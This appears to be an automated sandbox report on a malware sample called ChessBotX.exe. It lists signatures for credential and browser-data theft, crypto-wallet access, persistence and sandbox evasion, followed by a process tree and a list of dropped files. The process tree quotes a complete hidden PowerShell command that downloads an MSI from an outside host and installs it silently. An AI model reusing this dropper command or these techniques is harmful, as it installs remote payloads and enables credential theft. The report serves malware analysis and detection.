Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    16/04/2026, 04:38

General

  • Target
    ChessBotX.exe
  • Size 100KB
  • Sample260416-e9ndeafv2r
  • SHA256 f712c2a8b4abf2e299a2b480020333deb0f43364e9686cda78b1243c62e4830d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://tihunting.com/Setup.msi

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • UPX packed file 7 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 33 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ChessBotX.exe
    "C:\Users\Admin\AppData\Local\Temp\ChessBotX.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4880
    • C:\ProgramData\LavenderOrchid\ChessBotX.exe
      "C:\ProgramData\LavenderOrchid\ChessBotX.exe"
      2⤵
      • Adds Run key to start application
      • Checks computer location settings
      • Executes dropped EXE
      • Loads dropped DLL
      • Checks SCSI registry key(s)
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:1684
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
          PID:4536
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" "C:\Users\Admin\AppData\Roaming\Adobe\Adobe.dll",start
          3⤵
          • Loads dropped DLL
          • Suspicious behavior: AddClipboardFormatListener
          PID:5792
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
          3⤵
            PID:1272
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "$f = \"$env:TEMP\Setup.msi\"; (New-Object System.Net.WebClient).Headers.Add('User-Agent', 'Mozilla/5.0'); (New-Object System.Net.WebClient).DownloadFile('https://tihunting.com/Setup.msi', $f); Start-Process msiexec.exe -Wait -ArgumentList \"/i `\"$f`\" /quiet /norestart\""
            3⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4052
            • C:\Windows\system32\msiexec.exe
              "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Setup.msi" /quiet /norestart
              4⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:5472
      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
        1⤵
          PID:5704
        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
          1⤵
            PID:4320
          • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
            1⤵
              PID:5632
            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
              1⤵
                PID:5048
              • C:\Windows\system32\msiexec.exe
                C:\Windows\system32\msiexec.exe /V
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2032

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    ChessBotX.exe

                    • Path C:\ProgramData\LavenderOrchid\ChessBotX.exe
                    • Size 100KB
                    • SHA256 f712c2a8b4abf2e299a2b480020333deb0f43364e9686cda78b1243c62e4830d
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    active_desktop_render_x64.dll

                    • Path C:\ProgramData\LavenderOrchid\active_desktop_render_x64.dll
                    • Size 7.9MB
                    • SHA256 cc6920f5e93bf9faeb2ef179d8bd7bd074149211f5f038167bea1e5303a7a9e5
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    Log.txt

                    • Path C:\Users\Admin\AppData\Local\Temp\Log.txt
                    • Size 4KB
                    • SHA256 6dac699caeb06fd0d78e454013e0e833ff9f6cf83c92133461d0b0a291f65d3a
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    Log.txt

                    • Path C:\Users\Admin\AppData\Local\Temp\Log.txt
                    • Size 255B
                    • SHA256 4134aa0ccfe2ad2fbb9c80d2eb5b1e172da3ef13b66b12ffd3fc2d35a1c9da72
                    • MD5 SHA1 SHA512 TLSH

                    Log.txt

                    • Path C:\Users\Admin\AppData\Local\Temp\Log.txt
                    • Size 1018B
                    • SHA256 1cd1da8bfa691df77e3ec2008cf869a51c856326a5b77f7f2f2142c36a2e3345
                    • MD5 SHA1 SHA512 TLSH

                    Log.txt

                    • Path C:\Users\Admin\AppData\Local\Temp\Log.txt
                    • Size 1KB
                    • SHA256 7f9130d2a51b0e792cb036e113b50f59bed1016bc5721b73f320141da287a56b
                    • MD5 SHA1 SHA512 TLSH

                    Log.txt

                    • Path C:\Users\Admin\AppData\Local\Temp\Log.txt
                    • Size 1KB
                    • SHA256 ea8631a395810d4747a1ec2ae2d4f8ff706f5e54bf67fe9bdda3d8d1ad7bb3e4
                    • MD5 SHA1 SHA512 TLSH

                    Log.txt

                    • Path C:\Users\Admin\AppData\Local\Temp\Log.txt
                    • Size 1KB
                    • SHA256 3dee3ca5ff955e76264a9e2c7e530ad78578c5ded6cce742ce303ad965d8630a
                    • MD5 SHA1 SHA512 TLSH

                    __PSScriptPolicyTest_d4kko4ix.kco.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d4kko4ix.kco.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH

                    pwd_1708.db

                    • Path C:\Users\Admin\AppData\Local\Temp\pwd_1708.db
                    • Size 56KB
                    • SHA256 a36a4989ed48954499586d6551e61d6bccfc7bee269b4eab0bb836e394c24c7c
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    pwd_2100.db

                    • Path C:\Users\Admin\AppData\Local\Temp\pwd_2100.db
                    • Size 40KB
                    • SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    Adobe.dll

                    • Path C:\Users\Admin\AppData\Roaming\Adobe\Adobe.dll
                    • Size 1.3MB
                    • SHA256 66ad3c60614f2f3fbcae600644a9bcec87bb93b611baf251dd619acb7f2332d3
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    memory/1684-103-0x0000000140000000-0x0000000141F52000-memory.dmp

                    memory/1684-170-0x000001B98B200000-0x000001B98B230000-memory.dmp

                    memory/1684-16-0x0000000140000000-0x0000000141F52000-memory.dmp

                    memory/1684-14-0x00007FFC1CE20000-0x00007FFC1D2C5000-memory.dmp

                    memory/1684-15-0x000001B98B200000-0x000001B98B230000-memory.dmp

                    memory/1684-13-0x00007FFC1CE20000-0x00007FFC1D2C5000-memory.dmp

                    memory/1684-235-0x00007FFC1CE20000-0x00007FFC1D2C5000-memory.dmp

                    memory/1684-168-0x0000000140000000-0x0000000141F52000-memory.dmp

                    memory/1684-28-0x0000000140000000-0x0000000141F52000-memory.dmp

                    memory/1684-109-0x0000000140000000-0x0000000141F52000-memory.dmp

                    memory/1684-34-0x0000000140000000-0x0000000141F52000-memory.dmp

                    memory/1684-91-0x0000000140000000-0x0000000141F52000-memory.dmp

                    memory/1684-92-0x0000000140000000-0x0000000141F52000-memory.dmp

                    memory/1684-169-0x00007FFC1CE20000-0x00007FFC1D2C5000-memory.dmp

                    memory/1684-29-0x0000000140000000-0x0000000141F52000-memory.dmp

                    memory/4052-179-0x000001F063B60000-0x000001F063B82000-memory.dmp

                    memory/4052-234-0x000001F049CC0000-0x000001F049CF0000-memory.dmp

                    memory/4880-0-0x00007FFC1DD70000-0x00007FFC1E215000-memory.dmp

                    memory/4880-10-0x0000025C92DD0000-0x0000025C92E00000-memory.dmp

                    memory/4880-12-0x00007FFC1DD70000-0x00007FFC1E215000-memory.dmp

                    memory/5472-230-0x00000160F20D0000-0x00000160F2100000-memory.dmp

                    memory/5792-171-0x00007FFC1C950000-0x00007FFC1CA9B000-memory.dmp

                    memory/5792-172-0x000001C23EBB0000-0x000001C23EBE0000-memory.dmp